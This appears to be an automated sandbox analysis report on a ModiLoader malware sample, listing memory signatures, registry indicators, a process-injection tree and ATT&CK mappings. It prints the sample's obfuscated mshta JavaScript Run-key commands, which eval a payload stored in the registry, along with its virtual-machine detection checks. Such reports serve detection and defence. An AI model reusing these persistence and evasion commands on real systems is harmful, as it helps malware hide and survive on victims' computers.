modiloader | 646cf4ee8d4987114dc72af90d768b427d980054dcd20a3cfcabaf631ffa5873

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	dllhost.exe

ModiLoader Second Stage 48 IoCs

resource	yara_rule
behavioral2/memory/4280-7-0x0000000000400000-0x0000000000484000-memory.dmp	modiloader_stage2
behavioral2/memory/4280-9-0x0000000000060000-0x0000000000124000-memory.dmp	modiloader_stage2
behavioral2/memory/4280-13-0x0000000000400000-0x0000000000484000-memory.dmp	modiloader_stage2
behavioral2/memory/4280-12-0x0000000000060000-0x0000000000124000-memory.dmp	modiloader_stage2
behavioral2/memory/3916-14-0x0000000000530000-0x00000000005F4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-22-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-24-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-23-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-21-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-19-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-20-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/3916-15-0x0000000000530000-0x00000000005F4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-25-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-26-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-27-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-28-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-29-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/3592-31-0x0000000000A70000-0x0000000000B34000-memory.dmp	modiloader_stage2
behavioral2/memory/3592-36-0x0000000000A70000-0x0000000000B34000-memory.dmp	modiloader_stage2
behavioral2/memory/3592-35-0x0000000000A70000-0x0000000000B34000-memory.dmp	modiloader_stage2
behavioral2/memory/3592-34-0x0000000000A70000-0x0000000000B34000-memory.dmp	modiloader_stage2
behavioral2/memory/3592-33-0x0000000000A70000-0x0000000000B34000-memory.dmp	modiloader_stage2
behavioral2/memory/3592-32-0x0000000000A70000-0x0000000000B34000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-40-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-42-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-45-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-44-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-43-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-41-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-39-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-38-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-37-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/2164-49-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/2164-53-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/2164-52-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/2164-50-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/2164-51-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/2164-54-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-64-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-67-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-72-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-71-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-70-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-69-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-68-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-66-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-65-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2
behavioral2/memory/1912-63-0x00000000006F0000-0x00000000007B4000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:znvjg8CEQ=\"fH\";PT5=new%20ActiveXObject(\"WScript.Shell\");OdgnE0tDZ=\"ixHk0k\";rLQ87y=PT5.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\3be1aa3a\\\\892e08c7\");czIl23xC=\"KvEjhWySE\";eval(rLQ87y);Dq0bK1gEPE=\"62G\";"	dllhost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	dllhost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dllhost.exe

Deletes itself 1 IoCs

pid	Process
1912	dllhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:osmt7lv=\"oMvjVt\";x95S=new%20ActiveXObject(\"WScript.Shell\");e6LX2leI=\"ec33TN\";m1crk=x95S.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\3be1aa3a\\\\892e08c7\");v0Y8KnGI=\"2YmnC\";eval(m1crk);yqFuIDUF95=\"anAh\";"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Z2tLzLFy7=\"PFW2r\";d8m5=new%20ActiveXObject(\"WScript.Shell\");zIvV4dZye=\"YT\";lNH69c=d8m5.RegRead(\"HKCU\\\\software\\\\3be1aa3a\\\\892e08c7\");s5ZqmW8F=\"X30nU\";eval(lNH69c);m9B7DEtEt=\"VcHT\";"	dllhost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	dllhost.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	646cf4ee8d4987114dc72af90d768b427d980054dcd20a3cfcabaf631ffa5873.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\International	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-786284298-625481688-3210388970-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	dllhost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe

Suspicious behavior: MapViewOfSection 12 IoCs

pid	Process
4280	646cf4ee8d4987114dc72af90d768b427d980054dcd20a3cfcabaf631ffa5873.exe
4280	646cf4ee8d4987114dc72af90d768b427d980054dcd20a3cfcabaf631ffa5873.exe
4280	646cf4ee8d4987114dc72af90d768b427d980054dcd20a3cfcabaf631ffa5873.exe
3916	dllhost.exe
3916	dllhost.exe
3916	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe
1912	dllhost.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4280 wrote to memory of 3916	4280	646cf4ee8d4987114dc72af90d768b427d980054dcd20a3cfcabaf631ffa5873.exe	82
PID 4280 wrote to memory of 3916	4280	646cf4ee8d4987114dc72af90d768b427d980054dcd20a3cfcabaf631ffa5873.exe	82
PID 4280 wrote to memory of 3916	4280	646cf4ee8d4987114dc72af90d768b427d980054dcd20a3cfcabaf631ffa5873.exe	82
PID 3916 wrote to memory of 1912	3916	dllhost.exe	83
PID 3916 wrote to memory of 1912	3916	dllhost.exe	83
PID 3916 wrote to memory of 1912	3916	dllhost.exe	83
PID 1912 wrote to memory of 3592	1912	dllhost.exe	89
PID 1912 wrote to memory of 3592	1912	dllhost.exe	89
PID 1912 wrote to memory of 3592	1912	dllhost.exe	89
PID 1912 wrote to memory of 2164	1912	dllhost.exe	92
PID 1912 wrote to memory of 2164	1912	dllhost.exe	92
PID 1912 wrote to memory of 2164	1912	dllhost.exe	92

C:\Users\Admin\AppData\Local\Temp\646cf4ee8d4987114dc72af90d768b427d980054dcd20a3cfcabaf631ffa5873.exe
"C:\Users\Admin\AppData\Local\Temp\646cf4ee8d4987114dc72af90d768b427d980054dcd20a3cfcabaf631ffa5873.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4280
- C:\Windows\SysWOW64\dllhost.exe
  dllhost.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:3916
- - C:\Windows\SysWOW64\dllhost.exe
    dllhost.exe
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    - Adds policy Run key to start application
    - Looks for VMWare Tools registry key
    - Checks BIOS information in registry
    - Deletes itself
    - Adds Run key to start application
    - Maps connected drives based on registry
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1912
  - - C:\Windows\SysWOW64\dllhost.exe
      "C:\Windows\SysWOW64\dllhost.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3592
  - - C:\Windows\SysWOW64\explorer.exe
      explorer.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:2164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion